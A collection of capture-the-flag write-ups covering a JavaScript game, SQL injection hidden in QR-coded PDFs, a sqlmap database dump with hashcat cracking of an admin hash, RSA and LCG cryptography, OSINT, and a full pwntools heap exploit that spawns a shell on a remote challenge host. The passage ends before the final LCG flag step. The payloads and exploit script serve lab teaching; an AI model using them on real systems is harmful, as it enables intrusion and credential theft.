displayLineInTerminal({ text: `Game will restart in ${count}...`, style: status, useTypingEffect: true, addPadding: false, }); }
// execute the code block immediately before starting the interval updateCounter(); currentStep = 1
let counter = setInterval(updateCounter, 1000); },
info: () => { displayLinesInTerminal({ lines: INFO }); },};
// keyup event listenerexport const enterKey = (event) => { if (!typing) { if (event.key in keyBindings) { keyBindings[event.key](); event.preventDefault(); } else { commandText.innerHTML = userTextInput.value; } }};
// command handlerconst commander = (commandText) => { const cleanCommand = commandText.toLowerCase().trim();
// Possible states: // 1. game has not started (gameStarted = false) // 2. game is in progress (gameStarted = true, gameEnded = false) // 3. game has ended (gameStarted = true, gameEnded = true)
if (cleanCommand in commandBindings) { if (!gameStarted) { // game has not started commandBindings[cleanCommand](); } else if (gameStarted && !gameEnded) { // game is in progress commandBindings[cleanCommand](); } else { // game has ended if (cleanCommand === "restart" || cleanCommand !== "start") { commandBindings[cleanCommand](); } else { displayEndGameMessage(); } } } else { if (gameStarted && !gameEnded) { CheckMessage(); } else if (gameEnded) { displayEndGameMessage(); } else { displayLineInTerminal({ text: `'${cleanCommand}' command not found. For a list of commands, type '<span>help</span>'`, useTypingEffect: true, }); } }};
const displayEndGameMessage = () => { displayLineInTerminal({ text: "The game has ended. Please type <span>restart</span> to start a new game or <span>help</span> for a list of commands.", useTypingEffect: true, });};
const fetchOptions = () => { fetch('/api/options') .then((data) => data.json()) .then((res) => { availableOptions = res.allPossibleCommands;
}) .catch(() => { availableOptions = undefined; })}```
We can send the following answers:
```HEAD NORTHFOLLOW A MYSTERIOUS PATHSET UP CAMP```
The final answer can be found at:
```/api/options```
And is:
```Blip-blop, in a pickle with a hiccup! Shmiggity-shmack```
The flag is:
```HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}``` |
For web ticket apiCreate a PDF with a QR code in it that encodes```%' and hash='admin-needs-no-hash```I named this one `exploit.pdf`. Upload it to the chall program locally and note down its hash. In my case it was `d735db42e7bbd7043d1ddf07a3a003163f397745`.
Then create another PDF with a QR code, this one encoding```da9af4de-54f8-4185-bce3-a5095ca83646', 'd735db42e7bbd7043d1ddf07a3a003163f397745'); -- ```the first string is any random UUID so it passes the guid check, the second string is the hash of `exploit.pdf`I named this one `inject.pdf`
Then I ran:```shcurl -X POST -F "file=@./inject.pdf" https://ticket-api-061f5e195e3d.1753ctf.com/upload"Ticket added"```and```shcurl -X POST -F "file=@./extract.pdf" https://ticket-api-061f5e195e3d.1753ctf.com/verify{"id":1,"code":"1753c{dizz_are_not_forged_if_they_have_the_same_hasshhh}","hash":"admin-needs-no-hash"}``` |
![image](https://github.com/zer00d4y/writeups/assets/128820441/8775b769-6274-43c6-a9b5-6ec4cb68d384)
Decoder
def decode_flag(encoded_flag): decoded_flag = '' for i in range(0, len(encoded_flag), 3): decoded_flag += encoded_flag[i+2] decoded_flag += encoded_flag[i] decoded_flag += encoded_flag[i+1] return decoded_flag[::-1] encoded_flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB" decoded_flag = decode_flag(encoded_flag) print(decoded_flag)
FLAG:
HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!} |
Hourglass - Forensics
This challenge provided ova file of windows 10 operating system. According to the description we need to find something suspicious in the system.
I searched in different areas that might contain interesting or suspicious data.
I did not find anything until I entered the Task Scheduler and noticed a suspicious task that mention some path (C:\Windows\DiagTrack\Settings\settings.txt)
Here we can see the 'txt' file mentioned in the task suspicious task, which looks like a Base64 encoded string.
This is the decoded string, which is the flag:
uoftctf{T4sK_Sch3Dul3r_FUN} |
# KORP Terminal
Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.
## Writeup
In the site if we try to send an **username** equal to **'**, this error code will appear:
```json{"error":{"message":["1064","1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1","42000"],"type":"ProgrammingError"}}```
So we can use **SQL injection** on **MariaDB** with **SQLmap**:
```bashsqlmap -u "http://83.136.252.82:33660/" --forms --dump --ignore-code 401```
This is the output:
```Database: korp_terminalTable: users[1 entry]+----+--------------------------------------------------------------+----------+| id | password | username |+----+--------------------------------------------------------------+----------+| 1 | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. | admin |+----+--------------------------------------------------------------+----------+```
Now we can try to crack the password:
```bashhashcat -m 3200 '$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.' /usr/share/wordlists/rockyou.txt```
With this output:
```$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.:password123```
Now we can extract the flag:
```python#!/usr/bin/python3import requests
ip = "83.136.252.82"port = 33660
url = f"http://{ip}:{port}/"
username = "admin"password = "password123"
data = { 'username' : username, 'password' : password}
req = requests.post(url, data=data)print(req.text)```
This is the flag:
```HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}``` |
### Primary Knowledge
![image](https://github.com/zer00d4y/writeups/assets/128820441/c7a2c26a-40e2-448d-a40c-e71cf8661756)
Decoder
import math from Crypto.Util.number import long_to_bytes def decrypt(c, n, e): phi = (n - 1) // 2 d = pow(e, -1, phi) m = pow(c, d, n) return long_to_bytes(m) n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347 e = 65537 c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215 decrypted_message = decrypt(c, n, e) print(decrypted_message)
FLAG:
HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!} |
Flying High - Osint
So according the description we have to find the airport, airline of the rightest airplane and airplane model.
This is the image we got:
By zooming in we can see that there is some kind of hangar with 'NOVESPACE' written on it.
Googling 'novespace airports' result in this web page. It says that this company operates mainly for scientific and technical research programs and it's based in Bordeaux-Mérignac Airport.
After searching this airport in Google maps we can notice that there is place called Novespace. By clicking on it, we arrive the the same place as in the image.
We can notice that this image if from July 2012.
Regarding the airline company, it was pretty easy to find it by google searching its logo description.
For the aircraft model, I tried all of the current aircrafts they use unsuccessfully, but then I remembered that the photo was taken in 2012 so I searched in the former fleet section. I tried a couple of models that were used in 2012 until I got the correct one.
|
[**Forensics - Fake Boost**](https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#4a81)
https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#4a81 |
**[Forensics - Phreaky](https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#a600)**
https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#a600 |
**[Forensics - It Has Begun](https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#7cec)**
https://cybersecmaverick.medium.com/htb-cyber-apocalypse-ctf-2024-forensics-16f4c9af5c47#7cec |
# Deathnote
## Description
> You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.>> [Attached file](https://github.com/JOvenOven/ctf-writeups/tree/main/Cyber_Apocalypse_2024_Hacker_Royale/pwn/deathnote/challenge)
Tags: _Pwn_ \Difficulty: _medium_ \Points: _325_
## Recognition phase
Running the usual recognition commands:
```$ file deathnotedeathnote: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=1e15d6c20dbec3b5ef262d74afd3861bd60a7cbd, for GNU/Linux 3.2.0, not stripped```
```$ checksec deathnote[*] '/home/jovenoven/Downloads/ctf/cyberApocalypse2024_HTB/pwn/deathnote/deathnote' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./glibc/'```
```$ ./deathnote...-_-_-_-_-_-_-_-_-_-_-_ | | | 01. Create entry | | 02. Remove entry | | 03. Show entry | | 42. ¿?¿?¿?¿?¿?¿? | |_-_-_-_-_-_-_-_-_-_-_| ? ```
The menu strongly suggests that it's a heap related challenge, as it includes familiar options such as ``create,`` ``remove,`` and ``show.`` The ``create`` option allows us to allocate a chunk in the heap of up to size 0x90. ``Remove`` simply frees a specified chunk, while ``show`` prints the contents of a chunk. This information was gathered by debugging with ``GDB``. Additionally, there's another option whose functionality is unclear from its name, ``¿?¿?¿?¿?¿?¿?``. However, when executed, the program simply crashes with a segmentation fault.
## Finding the bug
The ``show`` option exhibits a ``read-after-free`` bug, allowing us to leak addresses from malloc metadata of freed chunks.
During debugging, I observed that selecting option 42, ``¿?¿?¿?¿?¿?¿?``, triggers the program to execute the memory region pointed to by the address written in the chunk labeled with ``page 0,`` passing the ``page 1`` chunk as a parameter. Although I'm uncertain about this behavior, my exploit still succeeded, assuming it to be true.
## Exploitation phase
Since there aren't any useful functions to execute within the ``ELF`` file, our objective is to somehow leak the ``libc`` address. In heap challenges, it's common to achieve this by reading metadata from an ``unsortedbin`` chunk, and it is possible with the ``read-after-free`` bug we have at hand, we only need to create an `unsortedbin` chunk and read its metadata with the `show` function to leak the unsortedbin address in libc and calculate the libc base address with it. Finally, we can use the arbitrary code execution bug to call ``system(/bin/sh)`` and spawn a shell.
This summarizes the approach outlined in the following exploit script.
```Python#!/usr/bin/python3from pwn import *
# Set up the target binary by specifying the ELF fileelf = context.binary = ELF("deathnote")libc = libc = ELF(elf.runpath + b"/libc.so.6")
# Defining the GDB script that will be used when running the# binarygs = '''continue'''
# Launch the binary with GDB, without GDB or REMOTE based on# the command-line argumentsdef start(): if args.REMOTE: return remote("94.237.63.46", 39443) else: if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path)
def malloc(size, idx, data): io.sendline(b"1") io.sendlineafter("? ", f"{size}".encode()) io.sendlineafter("? ", f"{idx}".encode()) io.sendlineafter("? ", data) io.recvuntil("? ")
def free(idx): io.sendline(b"2") io.sendlineafter("? ", f"{idx}".encode()) io.recvuntil("? ")
def read(idx): io.sendline(b"3") io.sendlineafter("? ", f"{idx}".encode()) io.recvuntil(b": ") data = io.recvuntil("? ") return data
def call(): io.sendline(b"42")
io = start()
#============================================================# EXPLOIT GOES HERE#============================================================
# Allocate all necessary chunksmalloc(128, 0, b"A")malloc(128, 1, b"A")malloc(128, 2, b"A")malloc(128, 3, b"A")malloc(128, 4, b"A")malloc(128, 5, b"A")malloc(128, 6, b"A")malloc(128, 7, b"A")malloc(128, 8, b"A") # Guard against consolidation with the top chunk
# Fill the tcache bin of size 0x90 to ensure the next 0x90 freed chunk# goes into the unsortedbin.free(0) # 0x90 tcache 1free(1) # 0x90 tcache 2free(2) # 0x90 tcache 3free(3) # 0x90 tcache 4free(4) # 0x90 tcache 5free(5) # 0x90 tcache 6free(6) # 0x90 tcache 7free(7) # unsortedbin
# Leak the unsortedbin address which is in libcdata = read(7)
# Calculate libc address by substracting the leaked unsortedbin address# with its offset in libclibc.address = u64(data[:6] + b"\x00\x00") - 0x21ace0info("libc @ 0x%x", libc.address)
# Setting up the parameters to call system(/bin/sh)system = hex(libc.sym.system)malloc(128, 0, f"{system}")malloc(128, 1, "/bin/sh\0")
# Call system(/bin/sh) with the 42 program optioncall()
#============================================================
# Interact with the processio.interactive()```
```$ ./xpl.py REMOTE
...
[*] Switching to interactive mode ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ Б ᾷ Ͼ Ҡ ܀ Ծ Փ Փ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀ ܀܀ ܀ ܀ ܀ ܀܀ ܀ [!] Executing § ƥ Ḝ Ƚ Ƚ ! $ lsdeathnoteflag.txtglibc$ cat flag.txtHTB{0m43_w4_m0u_5h1nd31ru~uWu}```
\Flag `HTB{0m43_w4_m0u_5h1nd31ru~uWu}` |
{{< admonition type=success title="Note" open=true >}}This writeup was one of the 5 winners of Amateurs CTF writeups prize{{< /admonition >}}
## Overview
This was the first edition of Amateurs CTF and I absolutely loved the challenges. Managed to solve **[7]/[12]** crypto challenges. They were really fun and educational. But `Ice cream generator` was the most beautiful of them all (also my favorite problem of this year so far) ?. I plan to make a detailed writeup of it.
## The challenge
{{< admonition note "Challenge Information" >}}* **Points:** 495* **Description:** Ice cream. Or wait... Ice cream. Same difference.
`nc amt.rs 31310`
[main.py](https://amateurs-prod.storage.googleapis.com/uploads/fe298c6cc6b64777761d3f0c97a0b5139569e126f5c4660fa16e796376e83509/main.py)
{{< /admonition >}}
Let's take a look at the given code (you can skip it though, looks scary).
```python#!/usr/local/bin/pythonfrom Crypto.Util.number import *from os import urandomfrom flag import flag
class lcg: def __init__(self, p): while (a:=bytes_to_long(urandom(16))) > p: pass while (b:=bytes_to_long(urandom(16))) > p: pass self.a, self.b, self.p = a, b, p seed = 1337
def gen_next(self): self.seed = (self.a*self.seed + self.b) % self.p return self.seed
class order: def __init__(self, p): self.p = p
self.inner_lcg = lcg(p) for i in range(1337): self.inner_lcg.gen_next()
self.flavors = [self.inner_lcg.gen_next() for i in range(1338)]
self.flavor_map = {i:self.flavors[i] for i in [1,2,3,4,5,6]} self.private = {i:self.flavors[i] for i in [1,2,3,4,5,6,1337]} bowls = [0, 0, 0] used = {1:0, 2:0, 3:0, 4:0, 5:0, 6:0} recipe = []
def make_bowl(self): global flavor_indices self.bowls = [0, 0, 0] self.recipe = [] new = {} available = [] for i, n in self.used.items(): if n == 0: new[i] = 0 available += [i] self.used = new print("\nREMAINING FLAVORS: ") for i in available: print(f"Flavor {i} - {flavor_indices[i]}") while True: command = input("\nAdd, combine, or finish? ") if command.lower() == "add": try: add = input("\nGive a flavor and a bowl: ").rsplit(" ", 1) self.add(*add) except Exception as e: print() print(e) elif command.lower() == "combine": try: combination = input("\nGive two bowls and an operation: ").split() assert len(combination) == 3, "Invalid Input Length" self.combine_bowl(*combination) except Exception as e: print() print(e) elif command.lower() == "finish bowl": self.finish_bowl() elif command.lower() == "finish": self.finish() break elif command.lower() == "exit": exit(1) else: print("\nPlease give a valid input.")
def mod(self): self.bowls = [i % self.p for i in self.bowls]
def add(self, flavor, bowl): assert "0" < bowl < "4", "Invalid Bowl" bowl = int(bowl) - 1 global flavor_names if flavor not in ["1", "2", "3", "4", "5", "6"]: try: if self.used[flavor_names[flavor]] < 5: self.bowls[bowl] += self.flavor_map[flavor_names[flavor]] self.used[flavor_names[flavor]] += 1 self.recipe += [[flavor_names[flavor], bowl]] else: print(f"\nCannot order {flavor} due to stock issues.") except: print("\nInvalid Flavor") else: try: flavor = int(flavor) if self.used[flavor] < 5: self.bowls[bowl] += self.flavor_map[flavor] self.used[flavor] += 1 self.recipe += [[flavor, bowl]] else: print(f"\nCannot order {flavor} due to stock issues.") except: print("\nInvalid Flavor") def combine_bowl(self, a, b, op): assert op in ['add', 'sub', 'mult', 'div'], "Invalid Operation. Please choose either 'add', 'sub', 'mult', or 'div'." assert "0" < a < "4" and "0" < b < "4" and a != b, "Invalid Bowl" a = int(a) - 1 b = int(b) - 1 if op == 'add': self.bowls[a] += self.bowls[b] elif op == 'sub': self.bowls[a] -= self.bowls[b] elif op == 'mult': self.bowls[a] *= self.bowls[b] elif op == 'div': assert self.bowls[b] != 0, "Empty Bowl for Division" self.bowls[a] *= pow(self.bowls[b], -1, self.p) else: print("\nwtf") exit(1) self.recipe += [[op, a, b]] self.bowls[b] = 0 self.mod() def finish_bowl(self): unique = 0 for i, n in self.used.items(): if n and n != 1337: unique += 1 if unique < min(3, len(self.used)): print("\nAdd more flavor!") return False recipe = str(self.recipe).replace(' ', '') signature = sum(self.bowls) % self.p self.bowls = [0, 0, 0] self.recipe = [] for i in self.used: if self.used[i]: self.used[i] = 1337 print(f"\nUser #: {self.p}") print(f"\nRecipe: \n{recipe}") print(f"\n\nSignature: \n{signature}") return True def finish(self): if sum(self.bowls): if not self.finish_bowl(): print("\nOk the bowls will be dumped.") print("\nOrder done!") return True
def verify(self, recipe, signature): bowls = [0, 0, 0] for i in recipe: try: if len(i) == 2: bowls[i[1]] += self.private[i[0]] elif len(i) == 3: if i[0] == 'add': bowls[i[1]] += bowls[i[2]] elif i[0] == 'sub': bowls[i[1]] -= bowls[i[2]] elif i[0] == 'mult': bowls[i[1]] *= bowls[i[2]] elif i[0] == 'div': bowls[i[1]] *= pow(bowls[i[2]], -1, self.p) bowls[i[2]] = 0 bowls = [i % self.p for i in bowls] except: exit("\nInvalid Recipe") try: assert sum(bowls) % self.p == signature, "\nInvalid Signature" print("\nYou have successfully redeemed your lce cream!") if signature == self.private[1337]: print(flag) except Exception as e: print(e)
flavor_names = {"revanilla":1, "cryptolatte":2, "pwnstachio":3, "strawebrry":4, "miscnt":5, "cookie dalgo":6, "flaudge chocolate":1337}flavor_indices = {i:n for n, i in flavor_names.items()}
intro = \"""---------------------------------------------------- WELCOME TO THE LCE CREAM SHOP! ---------------------------------------------------- HERE AT THE LCE CREAM SHOP WE HAVE A FEW BELIEFS
1. Don't be boring! Choose at least 3 flavors of lce cream. All of it tastes the same anyways... 2. Don't be repetitive! Well... that and the fact that we have some stock issues. After getting one lce cream with one flavor, you don't get to choose that flavor again. 3. Since I rolled my own signature system that is extremely secure, if you can manage to forge an arbitrary flavor, I'll give it to you! As long as it exists... 4. These aren't really beliefs anymore but we only have 6 flavors (available to the customer), and you're only allowed to order once (stock issues again smh). Choose wisely! 5. To help with the boringness, I will allow you to mix flavors in any way you want. But you can only use up to 5 scoops of each flavor to concoct your lce cream (once again stock issues). 6. I AM ONLY ACCEPTING ONE RECIEPT. If the first fails, too bad. 7. I heard there's a special flavor called "flaudge chocolate", it's like the 1337th flavor or something. 8. Orders can have multiple lce cream mixtures, as long as they follow the rules above. 9. I am accepting reciepts for TAX PURPOSES only.10. Each scoop costs $5 (stock issues AGAIN).11. The reciept itself costs $1.12. Everything is free. Have fun!13. Zero indexing sucks. Here at LCE CREAM SHOP we use one indexing.
Oh yeah here are the options:"""
options = \"""OPTIONS:(1) Generate order(2) View flavors(3) Redeem a reciept(4) ExitChoice: """
print(intro)
while True: choice = input(options) if choice == "1": if 'user' in vars(): print("\nYou already ordered.") continue user = order(getPrime(128)) user.make_bowl() print() elif choice == "2": print("\nThe only valid flavors are: ") [print(f"Flavor {i} - {n}") for i, n in flavor_indices.items() if i != 1337] elif choice == "3": if 'user' not in vars(): print("\nNo user.") else: userid = int(input("\nENTER NUMBER: ")) assert userid == user.p, "You seem to have lost your reciept." recipe = input("\nENTER RECIPE: ") assert all([i in "[,]01234567abdilmstuv'" for i in recipe]), "\n\nSir, please don't put junk in my lce cream machine!" recipe = eval(recipe, {"__builtins__": {}}, {"__builtins__": {}}) # screw json or ast.literal_eval signature = input("\nENTER SIGNATURE: ") user.verify(recipe, int(signature)) exit("\nGoodbye.") elif choice == "4": exit("\nGoodbye.") else: print("\nINVALID CHOICE. Please input '1', '2', '3', or '4'")```
At first glance, this seems to be a huge code with over 200 lines ?. I immediately dropped the problem, thinking it was overcomplicated for my level, and also because it only had like 2 solves at that moment.I returned to this problem almost a day later, when someone on the discord mentioned that this was much simpler than it looks.
At its core, this is a very simple `LCG` problem. I would explain what it is, in a short while. What makes this problem special is how we have to crack the generator without having access to the generated random numbers(unlike other easy `LCG` problems, where we can just spam some template).
## What is LCG?
`LCG` or [`Linear Congruential Generator`](https://en.wikipedia.org/wiki/Linear_congruential_generator) is an algorithm to generate `Pseudo Random Numbers` using linear equations.The underlying algorithm is very simple to understand. We can represent it using a recurrence relation like this,$$X_{n+1} \ = \ aX_n + c \mod\ m$$
$X_0$ is the seed, used to generate the other random numbers $X_1, X_2, ..., X_n$
$a$ is the multiplier
$c$ is the increment
$m$ is the modulus (though it's denoted by $p$ in this problem)
Note that all values are bounded by the modulus $m$.
A simple python implementation of LCG follows
```pythonclass LCG: def __init__(self, a, c, m, seed): self.a, self.c, self.p, self.seed = a, c, m, seed
def gen_next(self): self.seed = (self.a*self.seed + self.c) % self.m return self.seed```
## How to crack LCG?
There can be different variations to the problems related to cracking `LCG`. Some give extra information, some go on to even truncate bits from the random numbers to hide information.
The most common variant is to give some generated numbers (usually 6 numbers is enough to recover all the parameters), and one has to find the `a, c, m, seed` from those values. A very beautiful writeup explaining it in detail goes [here](https://flocto.github.io/writeups/2023/deadsecctf/lcg-writeup/).
In our current problem, `m` and `seed` is already given, making it much easier to solve. We have to recover `a` and `b`.
Let's say we have 3 generated numbers $X_1, X_2, X_3$. $$X_2 \ = \ aX_1 + c\mod\ m$$$$X_3 \ = \ aX_2 + c\mod\ m$$
Subtracting the first equation from the second gives us,$$X_3 - X_2 \ = \ a(X_2 - X_1) \mod\ m$$$$a \equiv\ \frac{X_3 - X_2}{X_2 - X_1} \mod\ m$$
So easy to recover `a` ?. It's trivial to recover `c` now.$$X_2 \ = \ aX_1 + c\mod\ m$$$$c \equiv\ X_2 - aX_1 \mod\ m$$
## Let's dive into the given code
It was difficult trying to understand the monstrosity of a code. Let us try to understand the code function by function.
The code starts with the `LCG` class, meaning we have to crack LCG somehow. But where are the generated random numbers? A quick check reveals that under`Order` class, 1337 random numbers are generated through the LCG and dropped. The later 1338 numbers($X_{1338}$ to $X_{2675}$) are generated and stored in the `flavors` array. 2 corresponding dictionaries (`flavor_map` and `private`) are generated using values of the `flavors` array. ```pythonself.flavors = [self.inner_lcg.gen_next() for i in range(1338)]
self.flavor_map = {i:self.flavors[i] for i in [1,2,3,4,5,6]}self.private = {i:self.flavors[i] for i in [1,2,3,4,5,6,1337]}```Some other variables are also there like,
`bowls`: A list of 3 bowls containing 0.
`used`: A dictionary showing how many times each flavor is used.
`recipe`: A list of what flavors used so far.
When the code is run, the following portion comes first:```pythonoptions = \"""OPTIONS:(1) Generate order(2) View flavors(3) Redeem a reciept(4) ExitChoice: """
print(intro)
while True: choice = input(options) if choice == "1": if 'user' in vars(): print("\nYou already ordered.") continue user = order(getPrime(128)) user.make_bowl() print() elif choice == "2": print("\nThe only valid flavors are: ") [print(f"Flavor {i} - {n}") for i, n in flavor_indices.items() if i != 1337] elif choice == "3": if 'user' not in vars(): print("\nNo user.") else: userid = int(input("\nENTER NUMBER: ")) assert userid == user.p, "You seem to have lost your reciept." recipe = input("\nENTER RECIPE: ") assert all([i in "[,]01234567abdilmstuv'" for i in recipe]), "\n\nSir, please don't put junk in my lce cream machine!" recipe = eval(recipe, {"__builtins__": {}}, {"__builtins__": {}}) # screw json or ast.literal_eval signature = input("\nENTER SIGNATURE: ") user.verify(recipe, int(signature)) exit("\nGoodbye.") elif choice == "4": exit("\nGoodbye.") else: print("\nINVALID CHOICE. Please input '1', '2', '3', or '4'")```We have to give `1` as our choice since a user must be created first. Let's see the functionalities of this `make_bowl` function that is called after the user is created.
### make_bowl```pythonwhile True: command = input("\nAdd, combine, or finish? ") if command.lower() == "add": try: add = input("\nGive a flavor and a bowl: ").rsplit(" ", 1) self.add(*add) except Exception as e: print() print(e) elif command.lower() == "combine": try: combination = input("\nGive two bowls and an operation: ").split() assert len(combination) == 3, "Invalid Input Length" self.combine_bowl(*combination) except Exception as e: print() print(e) elif command.lower() == "finish bowl": self.finish_bowl() elif command.lower() == "finish": self.finish() break elif command.lower() == "exit": exit(1) else: print("\nPlease give a valid input.")```* We can choose from 4 options: `add`, `combine`, `finish bowl`, and `finish`. * Depending on the chosen option, the effect on the `bowl` varies.
### add```pythontry: flavor = int(flavor) if self.used[flavor] < 5: self.bowls[bowl] += self.flavor_map[flavor] self.used[flavor] += 1 self.recipe += [[flavor, bowl]] else: print(f"\nCannot order {flavor} due to stock issues.")except: print("\nInvalid Flavor")```* We can add any of the 6 flavors to any of the 3 bowls.* Adding a flavor means adding a value from the flavor_map dictionary. That's how we can leak values from the flavor list (random numbers generated from the LCG). * But we cannot use a flavor more than 4 times.
### combine_bowl```pythona = int(a) - 1b = int(b) - 1if op == 'add': self.bowls[a] += self.bowls[b]elif op == 'sub': self.bowls[a] -= self.bowls[b]elif op == 'mult': self.bowls[a] *= self.bowls[b]elif op == 'div': assert self.bowls[b] != 0, "Empty Bowl for Division" self.bowls[a] *= pow(self.bowls[b], -1, self.p)else: print("\nwtf") exit(1)self.recipe += [[op, a, b]]self.bowls[b] = 0```* We can perform `addition`, `subtraction`, `multiplication`, or `division` operation between 2 bowls.* The catch is that after an operation is done, the 2nd bowl is set to 0.
### finish_bowl```pythonunique = 0for i, n in self.used.items(): if n and n != 1337: unique += 1if unique < min(3, len(self.used)): print("\nAdd more flavor!") return Falserecipe = str(self.recipe).replace(' ', '')signature = sum(self.bowls) % self.pself.bowls = [0, 0, 0]self.recipe = []for i in self.used: if self.used[i]: self.used[i] = 1337print(f"\nUser #: {self.p}")print(f"\nRecipe: \n{recipe}")print(f"\n\nSignature: \n{signature}")return True```* Prints `p` which is the modulus of the LCG.* Prints recipe, although it has no use.* Prints signature. Here signature denotes the sum of 3 bowls.* The unique variable ensures we use 3 different flavors that we haven't used before.* Once a flavor is used, its use count is set to 1337, so that if we use it again, it won't contribute to uniqueness.
### verify```pythonbowls = [0, 0, 0]for i in recipe: try: if len(i) == 2: bowls[i[1]] += self.private[i[0]] elif len(i) == 3: if i[0] == 'add': bowls[i[1]] += bowls[i[2]] elif i[0] == 'sub': bowls[i[1]] -= bowls[i[2]] elif i[0] == 'mult': bowls[i[1]] *= bowls[i[2]] elif i[0] == 'div': bowls[i[1]] *= pow(bowls[i[2]], -1, self.p) bowls[i[2]] = 0 bowls = [i % self.p for i in bowls] except: exit("\nInvalid Recipe")try: assert sum(bowls) % self.p == signature, "\nInvalid Signature" print("\nYou have successfully redeemed your lce cream!") if signature == self.private[1337]: print(flag)except Exception as e: print(e)```* Out given recipe is simulated and stored in the bowls.* After the simulation is complete, if the 3 bowls sum to `private[1337]`, we get the flag.That means we have to somehow recover the `flavors` list. Only then we can know what value `private[1337]` contains since `flavors[1337] = private[1337]`.
## My initial incorrect approach
* `Add` a flavor to a bowl.* Print the value on that bowl using `finish bowl`.* Repeat the above 2 steps to leak all 6 flavors.* Then use those values to crack the LCG.
But the problem with this idea is that we have to use at least 3 flavors to use `finish bowl`. If we do that, we will get a sum of 3 flavors. This does not contribute much to leaking the random values.
## Correct approach
We will leak the `p`, `a`, and `c` step-by-step. Let flavor_map = $[X_1, X_2, X_3, X_4, X_5, X_6]$.
The initial state of the bowls $[b_1, b_2, b_3]$ is:$$\underbrace{0} \ \ \underbrace{0} \ \ \underbrace{0} $$
### Recovering `a`* move $X_2$ to $b_1$ $$\underbrace{X_2} \ \ \underbrace{0} \ \ \underbrace{0} $$* move $X_3$ to $b_2$$$\underbrace{X_2} \ \ \underbrace{X_3} \ \ \underbrace{0} $$* subtract $b_2$ from $b_1$$$\underbrace{X_2 - X_3} \ \ \underbrace{0} \ \ \underbrace{0} $$* move $X_1$ to $b_2$$$\underbrace{X_2 - X_3} \ \ \underbrace{X_1} \ \ \underbrace{0} $$* move $X_2$ to $b_3$$$\underbrace{X_2 - X_3} \ \ \underbrace{X_1} \ \ \underbrace{X_2} $$* subtract $b_3$ from $b_2$$$\underbrace{X_2 - X_3} \ \ \underbrace{X_1 - X_2} \ \ \underbrace{0} $$* divide $b_1$ by $b_2$$$\underbrace{\frac{X_2 - X_3}{X_1 - X_2} \mod\ p} \ \ \underbrace{0} \ \ \underbrace{0} $$
Bowl 1 now contains the value of `a`. Since we have used 3 flavors, this is unique enough to use `finish bowl`. The signature will be the value of `a`.
### Recovering `c`Since we have already used $X_1, X_2, X_3$, using them again won't contribute anything to uniqueness. So we are going to use $X_4, X_5, X_6$ instead to recover `c`.* move $X_5$ to $b_1$ $$\underbrace{X_5} \ \ \underbrace{0} \ \ \underbrace{0} $$* move $X_6$ to $b_2$$$\underbrace{X_5} \ \ \underbrace{X_6} \ \ \underbrace{0} $$* subtract $b_2$ from $b_1$$$\underbrace{X_5 - X_6} \ \ \underbrace{0} \ \ \underbrace{0} $$* move $X_4$ to $b_2$$$\underbrace{X_5 - X_6} \ \ \underbrace{X_4} \ \ \underbrace{0} $$* move $X_5$ to $b_3$$$\underbrace{X_5 - X_6} \ \ \underbrace{X_4} \ \ \underbrace{X_5} $$* subtract $b_3$ from $b_2$$$\underbrace{X_5 - X_6} \ \ \underbrace{X_4 - X_5} \ \ \underbrace{0} $$* divide $b_1$ by $b_2$$$\underbrace{\frac{X_5 - X_6}{X_4 - X_5} \mod\ p} \ \ \underbrace{0} \ \ \underbrace{0} $$$$\underbrace{a} \ \ \underbrace{0} \ \ \underbrace{0}$$* move $X_4$ to $b_2$$$\underbrace{a} \ \ \underbrace{X_4} \ \ \underbrace{0}$$* multiply $b_2$ with $b_1$$$\underbrace{0} \ \ \underbrace{aX_4} \ \ \underbrace{0}$$* move $X_5$ to $b_1$$$\underbrace{X_5} \ \ \underbrace{aX_4} \ \ \underbrace{0}$$* subtract $b_2$ from $b_1$$$\underbrace{X_5 - aX_4} \ \ \underbrace{0} \ \ \underbrace{0}$$
So bowl 1 now has `c`. Using `finish bowl` will give `c` as the signature.
### Recovering the `flavors` listWe can simulate the generation process to get the required sign and the `flavors` list.```pythonlcg = LCG(a, c, p)
for i in range(1337): lcg.gen_next()
flavors = [lcg.gen_next() for i in range(1338)]sign = flavors[1337]```
## Retrieving the flag
